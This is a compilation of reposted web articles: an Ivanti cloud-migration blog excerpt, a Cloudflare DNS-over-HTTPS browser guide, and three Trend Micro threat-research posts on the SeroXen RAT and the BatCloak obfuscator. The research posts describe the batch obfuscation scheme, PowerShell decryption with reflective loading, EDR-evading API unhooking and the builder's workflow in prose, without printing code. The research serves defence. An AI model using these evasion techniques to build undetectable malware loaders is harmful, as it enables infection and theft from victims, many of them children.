It really has been eye opening, moving all of our products from on-prem to SaaS, leveraging those SaaS products in our own cloud, gaining that experience, pushing it back to product managers, pushing it back to engineering to produce a better quality product and a better service for all of our customers as they migrate to the cloud.   

So, we kind of blunt any particular problems that our customers would have experienced when they move from on-prem to cloud. Customer Zero – it’s definitely eliminating a lot of issues that customers would have had if they move on-prem to SaaS. And we’re providing valuable telemetry to help improve our product and improve the quality and service to our customers.” 

Important takeaways from Ivanti’s Customer Zero initiative 

https://youtube.com/watch?v=IzbJvG6Izs0%3Fenablejsapi%3D1%26origin%3Dhttps%253A%252F%252Fwww.ivanti.com

“Well, so we’ve improved our catalog for service requests and so on. That is the evolution of what ITSM should do. But DEX is the key. Having all of those tickets in ITSM that show customer issues or customer successes or what they’re using in our product, etc.

That is the game changer because now, as I said earlier, having DEX out there, looking at all those tickets, analyzing the tickets and then proactively either anticipating a problem with their device or potentially the way a customer is adopting certain technologies that we pushed out into the environment.  

Those tickets are gold for that level of telemetry that allows us to gain the insights we need to provide the customer with a better experience. I think ticket management is really, it’s tough — you don’t want a lot of tickets, obviously, because sometimes that’s not a good thing. But what these tickets represent in terms of knowledge of the customer, it really is instrumental in us making things better, making the service better and having the customer have a better experience.” 

How to use DEX to drive cultural change  

https://youtube.com/watch?v=x71aP3P4OCs%3Fenablejsapi%3D1%26origin%3Dhttps%253A%252F%252Fwww.ivanti.com

“I mean, we use the word culture, but let’s face it, the generation of customers that are out there today growing up with technology and having the ability to control a lot of that technology right at their fingertips, that’s really what you’re trying to accommodate.  

You don’t want someone to come into your company as an employee and have them not have that same experience. Not have them engaged with technology the same way they can engage at home or anywhere else out in the market. That’s what we’re trying to get to and be for that customer.   

And we’re doing that because today, with the proactive nature that we’re creating within our products. Proactive nature, that’s DEX.  

That’s having all that intelligence to engage the customer with empathy and with a proactive approach to giving them a solution to whatever issue they have. It’s empathy to what they’re going through and then proactively providing them with a fast, reliable solution to whatever experience they’re calling in on. 

I think that’s our goal and I think ITSM is evolving to that because again, of the amount of information it’s able to collect and use with all of the AI and ML that we’re applying to it, to really create that more proactive experience with a very intelligent, very tech savvy customer that we have both in and outside our company.   

And that’s happening. That’s the culture, if you will, that I see, that I’m engaged with, and we want to make sure our products can satisfy. ”

Broadening ITSM to support other areas brings with it new levels of proactive troubleshooting and empathy, helping you drive a better digital employee experience.

.

If you’d like to learn more, dive into our ITSM + toolkit and listen to this on-demand webinar on Expanding your ITSM: key learnings for building connected enterprise workflows.  

Source :
https://www.ivanti.com/blog/how-cloud-migration-helps-improve-employee-experience

Configure DoH on your browser

There are several browsers compatible with DNS over HTTPS (DoH). This protocol lets you encrypt your connection to 1.1.1.1 in order to protect your DNS queries from privacy intrusions and tampering.

Some browsers might already have this setting enabled.

​​Mozilla Firefox

  1. Select the menu button > Settings.
  2. In the General menu, scroll down to access Network Settings.
  3. Select Settings.
  4. Select Enable DNS over HTTPS. By default, it resolves to Cloudflare DNS.

​​Google Chrome

  1. Select the three-dot menu in your browser > Settings.
  2. Select Privacy and security > Security.
  3. Scroll down and enable Use secure DNS.
  4. Select the With option, and from the drop-down menu choose Cloudflare (1.1.1.1).

​​Microsoft Edge

  1. Select the three-dot menu in your browser > Settings.
  2. Select Privacy, Search, and Services, and scroll down to Security.
  3. Enable Use secure DNS.
  4. Select Choose a service provider.
  5. Select the Enter custom provider drop-down menu and choose Cloudflare (1.1.1.1).

​​Brave

  1. Select the menu button in your browser > Settings.
  2. Select Security and Privacy > Security.
  3. Enable Use secure DNS.
  4. Select With Custom and choose Cloudflare (1.1.1.1) as a service provider from the drop-down menu.

​​Check if browser is configured correctly

Visit 1.1.1.1 help pageOpen external link and check if Using DNS over HTTPS (DoH) show Yes.

Source :
https://developers.cloudflare.com/1.1.1.1/encryption/dns-over-https/encrypted-dns-browsers/

SeroXen Mechanisms: Exploring Distribution, Risks, and Impact

By: Peter Girnus, Aliakbar Zahravi
June 20, 2023
Read time: 10 min (2790 words)

This is the third installment of a three-part technical analysis of the fully undetectable (FUD) obfuscation engine BatCloak and SeroXen malware. In this entry, we document the techniques used to spread and abuse SeroXen, as well as the security risks, impact, implications of, and insights into highly evasive FUD batch obfuscators.

The remote access trojan (RAT) SeroXen tool can be purchased on the clearnet. During our investigation, we uncovered multiple domains selling not only this nefarious tool but also a cracked version of it hosted on a popular crack forum. We also uncovered individuals on popular video sites such as YouTube and TikTok acting as distributors for this piece of fully undetectable (FUD) malicious software. At the time of writing, many of these videos remain available for viewing.

This is the final installment of a three-part series delving into BatCloak and SeroXen. The first entry, titled “The Dark Evolution: Advanced Malicious Actors Unveil Malware Modification Progression,” looked into the evolution of the BatCloak obfuscation engine, while the second part, titled “SeroXen Incorporates Latest BatCloak Engine Iteration,” discussed the SeroXen malware and its inclusion of the latest iteration of BatCloak to generate an FUD “.bat” loader.

Distribution methods: SeroXen’s online platforms

In this section, we break down the different platforms that SeroXen uses to spread malware.

Website

fig1-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 1. SeroXen website

The tool SeroXen sports a sleek website with pages that users might expect from any number of websites selling software on the internet. However, sometime between the last week of May and the first week of June, a new shutdown notice has surfaced on its website due to SeroXen’s popularity and cybercriminal efficacy. Considering the content of the notice, there are strong indications that this shutdown is merely for show and that distribution is still ongoing through other platforms and channels.

fig2-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 2. SeroXen’s website shutdown notice

Prior to the shutdown notice, we observed the main SeroXen website offering a comprehensive list of features to prospective consumers. Examining some of the core features advertised by SeroXen shows a rich feature selection, including:

  • A Windows Defender-guaranteed bypass for both scan time and runtime.
  • FUD scan time and runtime evasion against most antivirus engines.
  • Hidden Virtual Network Computing (hVNC).
  • Full modern Windows support.
fig3-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 3. SeroXen’s features list

In addition to the sophisticated evasion and FUD component, the inclusion of hVNC is concerning as it is often deployed by highly sophisticated types of malware and advanced persistent threat (APT) groups. The hVNC component allows threat actors to operate a hidden or “virtual” desktop rather than the main desktop to keep the malicious sessions in the background running uninterrupted.

Meanwhile, the SeroXen web application provides users with the option to acquire either a monthly license key or a lifetime key using cryptocurrency.

fig4-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 4. SeroXen monthly subscription (top) and lifetime (bottom) price options
fig5-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 5. SeroXen is currently unavailable for purchase at the website

The SeroXen web application also boasts a product support team available from Monday to Friday following a location for a time zone reference in the US. The Telegram account of the developer is also available for messaging, and the relevant channels are still active. At one point, a Discord account might also have been available for contact, although it was already unavailable at the time of this writing.

fig6-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 6. SeroXen’s product support offers

During our investigation, we encountered the disclosure of the developers and contributors associated with SeroXen’s development. Notably, the list includes the individual who also contributed to the creation of batch obfuscators such as Jlaive, BatCrypt, CryBat, Exe2Bat, and ScrubCrypt. This direct linkage therefore establishes a clear association between these historical FUD batch obfuscators and the SeroXen malware. In June, we also noticed that the website’s acknowledgments included the social media handle of the distributor.

fig7-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 7. The developers of Jlaive, BatCloak, CryBat, Exe2Bat, ScrubCrypt, and social media distributor’s username acknowledged on the SeroXen website

Social media accounts

While investigating SeroXen’s website, we uncovered a link to a review video hosted on YouTube. 

fig8-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 8. Link to SeroXen review hosted on YouTube

The content is presented as a “review” and facilitated by a reseller. More importantly, it functions not only as an evaluation but also as a promotional advertisement coupled with a tutorial showcasing the capabilities of SeroXen. We found a collection of videos that was also attributed to a reseller of the malware. These videos function to endorse and market SeroXen, reinforcing its presence and appeal within the designated market. Details such as knowledge, discounts offered, and claims of being a distributor indicate the increased likelihood of this user being connected to the owner of the web app.

fig9-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 9. SeroXen YouTube advertisements
fig10-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 10. SeroXen distributor selling the malware on YouTube

Certain prospective customers of SeroXen have demonstrated an inclination toward exploring specific aspects associated with illicit activities. Their expressed interest encompasses the use of SeroXen in the context of engaging in potentially unlawful endeavors within the Roblox community.

fig11-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 11. Prospective customer interested in Roblox cookie theft

For context, Roblox is a widely popular video game with a user base of over 214 million active monthly users across the globe, predominantly comprised of minors, with approximately 67% of the player demographic aged below 16 years. In the US, over half of Roblox players are minors. In Figure 10, the significance of the inquiry lies in the potential risks and impact associated with the theft of the .ROBLOSECURITY cookie from an unsuspecting victim. If successfully stolen, this cookie would grant a threat actor the ability to compromise the targeted Roblox account by overriding two-factor authentication (2FA).

This exchange also highlights the risk associated with highly evasive and modular types of malware — namely, a modular design with the ability to load additional components to create a bigger impact on targeted and unwitting victims. In this instance, the reseller mentions the ability to use SeroXen with Hazard, a stealer with many features, including the capability to steal Discord webhooks.

At one point, the distributor sold SeroXen on Discord, but their accounts have a history of being terminated. In an exchange with a prospective customer on YouTube, a YouTube channel owner shows a clear understanding of how this tool will be used for criminal activity, after which they encourage a prospective customer to get in touch with them since they are a reseller. We also uncovered the reseller’s Twitter profile, which hosted more promotional content for SeroXen.

fig12-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 12. A reseller’s conversation with a prospective buyer on YouTube (top) and the reseller’s YouTube and Twitter profiles (middle and bottom)

As of this blog entry’s week of publishing, we noted that the social media distributor confirmed that SeroXen’s “sale” (referred to only as “offsale” on the website) is now offline. Still, this mainstream availability and exchange raise substantial concerns, given its occurrence outside the boundaries of underground hacking forums. While researchers and ordinary users alike might expect this kind of complacence and leeway on the darknet, they do not expect the same on a popular mainstream platform such as YouTube. This underscores the potential implications of the exchange, as it indicates that cybercriminals have become bolder in infiltrating mainstream platforms online. In turn, malicious activities and discussions related to illicit cybersecurity practices are now able to infiltrate mainstream online platforms.

fig13-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 13. SeroXen’s social media distributor confirms the RAT as unavailable for interested buyers/users

Additionally, during the investigation of this reseller’s YouTube profile we uncovered a batch-to-dropper file uploaded to Virus Total around the time of the latest SeroXen promotional video. The name of the batch file matches the username of this reseller’s YouTube profile. This batch attempts to download an infected batch file from Discord and run the infected file that leads to a SeroXen infection.

fig14-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 14. YouTube reseller includes SeroXen developer’s Telegram handle
fig15-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 15. Reseller names file after uploading to a public repository, matching it with their YouTube profile name

SeroXen’s forum presence

We also discovered that the author of SeroXen actively engages with prominent hacking enthusiast forums to promote and distribute the malware. This strategic use of established forums catering to the hacking community serves as an additional avenue for the author to market and sell SeroXen, expanding its reach.

fig16-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 16. SeroXen advertisement on a popular hacking forum

Upon investigating the post of SeroXen’s developer, we saw that the author of Jlaive, BatCrypt, CryBat, Exe2Bat, and ScrubCrypt was once again acknowledged as playing a part in the development of SeroXen’s FUD capabilities. Additionally, on another forum, we found a cracked version of SeroXen that allows cybercriminals to bypass the payment requirement set up by the malware’s original developers.

fig17-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 17. Acknowledgement of developers and contributors in a forum post
fig18-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 18. A cracked version of SeroXen

Examining the prevalence and impact of SeroXen

Throughout our investigation of the scope of infections, we discovered a substantial collection of forum posts containing reports from victims who fell prey to the SeroXen infection. This particular strain of malware showed a notable increase in users reporting their infections, with well-meaning individuals advising victims to implement security and antivirus solutions, which all failed to detect any malicious activity. This then perpetuates a distressing cycle of infections driven by the malware’s FUD capabilities.

Understanding SeroXen infections through an analysis of community discussions

We conducted an analysis on Reddit by analyzing reports of SeroXen infections. Many of these posts reported that the users noticed suspicious actions but were powerless to remediate the ongoing infection.

We went through different forum threads and observed a common theme among the scores of individuals whose systems were infected: they were downloading and executing highly suspect pieces of software hosted on Discord and other file-hosting services related to special interests. We also noticed reports of deceptive batch installers (downloaded from GitHub) claiming to be legitimate software installers or tools for highly sought-after applications and interests like Photoshop, image loggers, TikTok, quality-of-life tools, and Tor, among others. The primary intention behind this fraudulent activity is to lure unsuspecting individuals into unintentionally installing malicious programs that lead to compromise. 

fig19-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 19. A user’s system is infected after they download the game Counter Strike: Global Offensive (CSGO).
fig20-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 20. Samples of users reporting infections

Based on our analysis of the collected samples, one of the largest target communities are gamers playing popular titles such as Roblox, Valorant, Counter Strike, Call of Duty, and Fortnite. These multiplayer online games contain a rich ecosystem of desirable, high-value, and in-game items that make a rich in-game economy, making them a viable target of malicious actors using SeroXen. In particular, theft appears to be the primary motive driving these infections. Over the years, a thriving underground ecosystem has been established for the illicit resale of stolen in-game items, with a particular emphasis on the popular game Roblox via beaming.

What is Roblox beaming?

Within the Roblox community, the unauthorized sale of items, referred to as “beaming” in the community, has proven itself to be an immensely profitable venture for nefarious actors. It is worth noting that certain rare items within Roblox, known as “limiteds,” can command significant prices that reach thousands of dollars in real-world commercial values. Discord has served as fertile ground  for buying and selling these items, allowing cybercriminals to exploit and profit from unsuspecting children who fall victim to their schemes.

During our investigation, we uncovered a thriving underground community using Discord to post stolen cookies to beam victims. Frequently, the practice of beaming is employed to generate content specifically intended for popular online platforms like YouTube and TikTok. Numerous individuals, often including minors, are subjected to beaming for the purpose of entertainment. Over the course of our investigation, we also uncovered many instances of beaming tutorials and how-to videos on both TikTok and YouTube.

fig21-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 21. A .ROBLOSECURITY cookie posted on Discord for beaming
fig22-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 22. Roblox beaming videos on YouTube (top and middle) and TikTok (bottom)
fig23-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 23. Roblox beaming tutorials on TikTok

Furthermore, our findings have revealed that these video platforms frequently function as recruitment platforms, funneling individuals into beaming Discord channels to engage in unethical and detrimental activities.

fig24-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 24. A Roblox beamer recruitment video on TikTok

FUD batch obfuscation techniques coupled with hVNC-capable toolkits provide actors powerful tools not only for stealing content but also for creating significant psychological distress in communities with a significant number of minors.

Examining SeroXen infections with insights from the Microsoft Support community

During our investigation of the prevalence and impact of SeroXen infections, we also examined posts within the Microsoft Support community. We observed striking similarities between the infection chain reported in this community and the discussions in Reddit. Moreover, a deeper understanding of the actions perpetrated revealed two distinct and concerning patterns. The first pattern involved direct extortion tactics, while the second involved the issuance of threats to victims’ lives through swatting.

fig25-seroxen-mechanisms-exploring-distribution-risks-impact-batcloak-fud
Figure 25. Samples of reports seeking help against an extortion attempt (top) and a threat of swatting (bottom) after hackers gain control of users’ infected systems through SeroXen

Conclusion

Considering the capabilities and potential damage resulting from this tool, the costs for entry are low to null (given the cracked versions available online). This means that both cybercriminals and script kiddies experimenting with malware deployments can avail of SeroXen. Depending on the goals of cybercriminals — whether they care for arrests and notoriety or simply want to spread the tool — the sophistication of the infection routines does not appear to match with the chosen methods for distribution. The almost-amateur approach of using social media for aggressive promotion, considering how it can be easily traced, makes these developers seem like novices by advanced threat actors’ standards. That being said, the real-life consequences of abusing highly evasive malware as a tool to threaten other users via swatting and other threats to personal safety remain highly concerning especially as these developers might interact with online communities populated by minors.

The addition of SeroXen and BatCloak to the malware arsenal of malicious actors highlights the evolution of FUD obfuscators with a low barrier to entry. This can be considered an upcoming trend for a range of cybercriminals who can use a wide range of distribution mechanisms like Discord and social media platforms and their features (such as YouTube and short-from videos in TikTok) to push their preferred types of destructive software for abuse. Additionally, this trend also highlights the potential of highly evasive malware to proliferate in communities that host a significant number of minors who might be ill-equipped to confront destructive pieces of malware. Considering the low-to-nil detections in public repositories once a piece of malware is armed with these tools, this evolution presents new challenges to security teams and organizations alike, especially since FUD obfuscation can be used to deliver any kind of imaginable threat, including those that are not yet known.

Parents and guardians are encouraged to proactively familiarize themselves with the contemporary digital dynamics their children use regularly. This includes gaining an understanding of the various online communities that their children participate in, as well as communicating essential safe online practices and skills to their children. Adults are also encouraged to familiarize themselves with the colloquialisms minors use online and the platforms they frequent. By becoming familiar with these areas and simultaneously equipping children with such knowledge, guardians can play a pivotal role in ensuring everyone’s online safety and well-being.

Trend Vision One™️ enables security teams to continuously identify the attack surface, including known, unknown, managed, and unmanaged cyber assets. It automatically prioritizes risks, including vulnerabilities, for remediation, taking into account critical factors such as the likelihood and impact of potential attacks. Vision One offers comprehensive prevention, detection, and response capabilities backed by AI, advanced threat research, and intelligence. This leads to faster mean time to detect, respond, and remediate, improving the overall security posture and effectiveness.

When uncertain of intrusions, behaviors, and routines, assume compromise or breach immediately to isolate affected artifacts or tool chains. With a broader perspective and rapid response, an organization can address these and keep the rest of its systems protected. Organizations should consider a cutting-edge multilayered defensive strategy and comprehensive security solutions such as Trend Micro™ XDR that can detect, scan, and block malicious content across the modern threat landscape.

Our commitment to online safety

Trend Micro is committed to digital safety through our Trend Micro Initiative for Education , our outreach program that aims to improve internet safety awareness, digital literacy, and malware defense capabilities for a safer digital world. Our initiatives and participation for security and safety include but are not limited to:

If you receive a swatting threat or information that an individual is planning to engage in swatting activities, please report it to local law enforcement and/or the Federal Bureau of Investigation (FBI) at 1-800-CALL-FBI immediately.

Source :
https://www.trendmicro.com/it_it/research/23/f/seroxen-mechanisms-exploring-distribution-risks-and-impact.html

SeroXen Incorporates Latest BatCloak Engine Iteration

By: Peter Girnus, Aliakbar Zahravi
June 15, 2023
Read time: 7 min (2020 words)

We looked into the documented behavior of SeroXen malware and noted the inclusion of the latest iteration of the batch obfuscation engine BatCloak to generate a fully undetectable (FUD) .bat loader. This is the second part of a three-part series documenting the abuse of BatCloak’s evasion capabilities and interoperability with other malware.

The recent rise of highly sophisticated malware’s ability to evade detection through fully undetectable (FUD) capabilities, low-cost financial accessibility, and minimal skill barriers have created a pervasive threat targeting online communities and organizations. One particular malware known as SeroXen has deployed an advanced, fully undetectable (FUD) technique via highly obfuscated batch files to infect victims with hVNC-(Hidden Virtual Network Computing) capable malware.

This entry is the second installment of a three-part series featuring BatCloak engine, its iterations, and inclusion in SeroXen malware as the main loading mechanism. The first entry, titled “The Dark Evolution: Advanced Malicious Actors Unveil Malware Modification Progression,” looked into the beginnings and evolution of the BatCloak obfuscation engine. The third part of this series, “SeroXen Mechanisms: Exploring Distribution, Risks, and Impact,” analyzes the distribution mechanism of SeroXen and BatCloak, including the security impact and insights of FUD batch obfuscation. As of this writing, a quick online search for SeroXen will show top results for an official website and social media and sharing pages with videos on how to use the remote access trojan (RAT) as if it were a legitimate tool. We will go over these dissemination strategies in the subsequent entry.

SeroXen’s FUD batch patterns

To attain FUD status, the obfuscation patterns employed in SeroXen have shown multilayered tiers in its evolution, evolving from notable predecessors such as Jlaive, BatCloak, CryBat, Exe2Bat, and ScrubCrypt. Notably, the author of these FUD tools is acknowledged as a contributor in various instances, including attributions present on the main SeroXen website and forum posts authored by the individual behind SeroXen.

Examining the SeroXen infection chain

fig1-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 1. SeroXen infection chain

To successfully initiate the infection process, the targeted user is lured into executing a batch file. These lures are often presented as software-specific to enthusiast groups such as gaming communities. The infection process’ efficiency is enhanced because of the batch file’s FUD capability.

We found a compilation of compromised archives associated with cheats pertaining to prominent game titles. Each of these archives harbors a highly obfuscated batch file that serves as the infection vector initiating a SeroXen infection. Alarmingly, none of the archives exhibited any form of security solution detection. In most instances, these malicious archives are hosted on the Discord CDN (content delivery network) catering to specific interested communities, but they could also be hosted on any number of cloud storage options as well as special interest forums.

Taking a visual representation of a SeroXen sample submitted to a public repository under the false pretense of being a popular online video game cheat, the sample showcases the comprehensive concealment capabilities inherent. Through investigative analysis, we found a consistent pattern in the dimensions of SeroXen’s obfuscated batch files, which commonly exhibit sizes ranging from approximately 10MB to 15MB.

fig2-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 2. Gaming lures with no detections

Analyzing the obfuscation patterns deployed by SeroXen

To develop a comprehensive understanding of the obfuscation algorithm utilized within SeroXen, we conducted an in-depth examination on a multitude of heavily obfuscated batch files. The figure sample exhibits an obfuscated SeroXen batch payload camouflaged under the guise of a Fortnite hack.

fig3-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 3. SeroXen obfuscated batch payload

The batch obfuscation patterns implemented by the SeroXen FUD algorithm can be summarized as follows:

  1. Suppression of console output through the inclusion of the directive “@echo off”
  2. Utilization of sophisticated string manipulation techniques to obfuscate the initial “set” command
  3. Assignment of the “set” command to a user-defined variable
  4. Assignment of equal operations (“=”) to a user-defined variable
  5. Utilization of steps 3 and 4 to assign values to the additional user-defined variables
  6. Concatenation of variables at the conclusion of the obfuscation process to construct a command, which is subsequently executed

Furthermore, our investigation showed that the implementation of layered obfuscation techniques alongside the incorporation of superfluous code fragments or “junk code” were employed to impede the analysis of the batch file hindering detections.

Summary of commands executed during the SeroXen infection process

We break down the core commands concatenated and executed in order to infect the victim as follows:

  1. Ensure all batch commands run are suppressed with “@echo off”
  2. Copy the PowerShell executable from System32 to the current directory
  3. Set the current directory
  4. Name this copied PowerShell after the batch filename with an appended .exe, such as <mal_bat>.exe
  5. Use the PowerShell command to decrypt and execute the encrypted payload
  6. Build the final PowerShell command used to decrypt the final payload
  7. Use the static operator to decrypt the final payload

Analyzing the deobfuscated SeroXen batch files

During our technical analysis of FUD-enabled SeroXen batch payloads, we were able to deobfuscate the commands associated with its execution and patch key points in its operation to dump the deobfuscated version.

fig4-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 4. Deobfuscated SeroXen batch payload

If we compare the deobfuscated sample presented with the highly obfuscated sample (Figure 3), we can demonstrate the core function of the batch script: to generate a series of set commands in an obfuscated manner to evade detection. We see the result of the numerous obfuscated set commands in its deobfuscated equivalent. Throughout the obfuscated batch file, numerous variables are concatenated together to be executed.

fig5-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 5. Deobfuscated SeroXen PowerShell commands

Analyzing the final PowerShell decryption command

The PowerShell command to be executed in the FUD obfuscated batch file is a series of hidden PowerShell commands used to decrypt and deliver the .Net loader.

fig6-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 6 . Final PowerShell command executed in the SeroXen batch file

The deobfuscated sequence of PowerShell commands decrypt the payload and employ an assembly reflection mechanism to reflectively load it. The essential characteristics of the final sequence of PowerShell commands include:

  1. Decode payload using Base64
  2. Decrypt payload using AES OR XOR algorithm. In the case of AES:
    • Instantiate an AES decryption object with the cipher block chaining (CBC) mode
    • Use a Base64 blob for the key and IV
  3. Unzip the payload
  4. Reflectively load the payload

From the next figure, we demonstrate how the C# loader is decrypted from the deobfuscated batch files, after which we unzip the decrypted archive to drop the .Net binary.

We decoded the payload using Base64, which is then AES-decrypted using the deobfuscated Key and IV and finally gunzipped to reveal the .Net loader. This payload is then loaded into memory using reflection.

fig7-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 7. Using Python to decrypt the .Net loader

Deep dive into SeroXen builder

fig8-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 8. Obfuscated builder

The SeroXen builder binary file is protected by the Agile .NET. After unpacking the functions and builder resources, this section shows that SeroXen is a modified version of Quasar RAT with a rootkit and other modifications, such as adopting the loader builder Jlaive and BatCloak obfuscation engine to generate a FUD .bat loader. The evolution and technical analysis of Jlaive and BatCloak was discussed in part 1 of this series.

fig9-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 9 . Unpacked builder resources (left) and builder function names (right) a modified version of Quasar RAT in its arsenal
fig10-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 10. SeroXen builder adopting Jlaive and BatCloak source codes

As of this writing, SeroXen offers monthly and lifetime key options for purchase online, as well as instructions for using the RAT. We go over this in detail in the third installment of this series as part of the cybercriminals’ distribution strategies.

fig11-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 11. SeroXen builder usage instruction

SeroXen payload generation process

Upon pressing the “build” button, the builder writes the user-given configuration to the pre-compiled file called “client.bin,” and this produces the Quasar RAT payload and passes it to a function called “Crypt.”  

fig12-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 12. SeroXen vs Quasar RAT payload generation

The Crypt function employs the Jlaive crypter multi-stage loader generator and BatCloack obfuscator source code to produce undetectable loaders. This function first reads the Quasar RAT payload content and verifies if it is a valid .NET assembly. Crypt then patches some string and opcode within the binary and encrypts it using the AES algorithm with CBC cipher mode, and saves it as “payload.exe.” 

fig13-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 13. Payload encryption and obfuscation process

Much like a Jlaive crypter, the builder takes in user configuration and produces the first loader. This is achieved using a C# template file, “Quasar.Server.Stub.cs,” found embedded within its resources. The author has integrated an extra functionality in this adapted version of the Jlaive CreateCS function such as API unhooking.

fig14-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 14. Create C# loader

Apiunhooker.dll is an open-source project called “SharpUnhooker,” which is a C#-based universal API unhooker that automatically Unhooks API Hives (i.e., ntdll.dllkernel32.dlladvapi32.dll, and kernelbase.dll). This technique is used to attempt evading user-land monitoring done by antivirus technologies and/or endpoint detection and response (EDR) solutions by cleansing or refreshing API DLLs that loaded during the process.

The builder subsequently compiles the C# loader stub, adding necessary files and dependencies such as encrypted Quasart RAT (payload.exe) and SharpUnhooker (Apiunhooker.dll) to its resources. 

fig15-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 15. C# loader compilation

Next, the builder compresses the C# loader, encrypts it using AES/XOR (depending on the configuration), and encodes it in Base64. Finally, it creates a batch file and includes the encoded C# loader binary into it. It also manages the compression, decoding, and decryption processes using an obfuscated PowerShell script, which is also appended to the batch file.

The batch file’s role is to deobfuscate the PowerShell script and execute it. This PowerShell script scans the content of the batch file for the value following “::“, extracts this value, decodes it, decompresses it, decrypts it, and finally executes it in memory.

fig16-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 16. Creating and writing encrypted data to a batch file, and deleting temporary files
fig17-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 17. Generating an obfuscated batch loader (top) and PowerShell loader (bottom)

Two PowerShell templates, “Qusar.Server.AESStub.ps1” and “Quasar.Server.XORStub.ps1,” exist in the resource section of the builder. Depending on the configuration, one of these will be loaded and utilized.

fig18-seroxen-incorporates-latest-batcloak-engine-iteration
Figure 18. PowerShell stub

Conclusion

In this entry, we include a Yara rule that organizations and security teams can use to detect SeroXen obfuscated batch files. Additionally, here’s a PowerShell script that can reveal the final deobfuscated batch file and commands to be run. It is critically important that this PowerShell script be run in an isolated malware sandbox. This script can be used to deobfuscate the SeroXen batch file where security teams can inspect its output file for the PowerShell command to be executed in the deobfuscation routine. By inspecting this deobfuscated payload, the analyst can grab the Key and IV from the PowerShell command to decrypt the final payload.

Overall, SeroXen is a full-feature remote administration tool (RAT) coded in C# and built using a combination of various open-source projects that work together to generate a FUD payload. Reports have emerged of SeroXen being abused for several infections and attacks. We foresee the evolved BatCloak engine at the core of SeroXen’s FUD capabilities as the BatCloak obfuscation engine continues to evolve and be used as a FUD tool for future malware attacks.

Individuals are strongly advised to adopt a skeptical stance when encountering links and software packages associated with terms such as “cheats,” “hacks,” “cracks,” and other pieces of software related to gaining a competitive edge. Users, developers, gamers, and enthusiasts are also advised to exercise caution when executing batch files obtained from the internet. Additionally, organizations are encouraged to stay vigilant against phishing attacks that might attempt to entice users to download and run batch installers (e.g., scripting and automation of repetitive tasks).

Organizations should consider employing a cutting edge multilayered defensive strategy and comprehensive security solutions, such as Trend Micro™ XDR, that can detect, scan, and block malicious content such as SeroXen and BatCloak across the modern threat landscape. An extended detection and response capability across endpoint, servers, workloads, email, network, cloud, and identity observed from a single platform like Trend Vision One™️ can mitigate these risks by considering adversarial tactics, techniques, and procedures (TTPs) to profile the entirety of a routine. Learn more about how the Zero Day Initiative (ZDI) bug bounty program rewards researchers for responsible vulnerability disclosure as well as protects organizations globally and stay up to date on the latest news regarding mission critical security patches.

Source :
https://www.trendmicro.com/en_us/research/23/f/seroxen-incorporates-latest-batcloak-engine-iteration.html

Analyzing the FUD Malware Obfuscation Engine BatCloak

By: Peter Girnus, Aliakbar Zahravi
June 09, 2023
Read time: 3 min (681 words)

We look into BatCloak engine, its modular integration into modern malware, proliferation mechanisms, and interoperability implications as malicious actors take advantage of its fully undetectable (FUD) capabilities.

UPDATE as of 6/15/2023 7:30PM (PHT): We’ve updated this entry to include indicators of compromise (IOCs) for BatCloak.

In our recent investigation, we discovered the use of heavily obfuscated batch files utilizing the advanced BatCloak engine to deploy various malware families at different instances. Running analysis and sample collection from September 2022 to June 2023, we found that these batch files are designed to be fully undetectable (FUD) and have demonstrated a remarkable ability to persistently evade security solutions. As a result, threat actors can load various malware families and exploits by leveraging highly obfuscated batch files seamlessly. Our initial research titled “The Dark Evolution: Advanced Malicious Actors Unveil Malware Modification Progression” delves into the continuing evolution of BatCloak, uncovering the modifications that have propelled modern malware to new levels of security evasion.

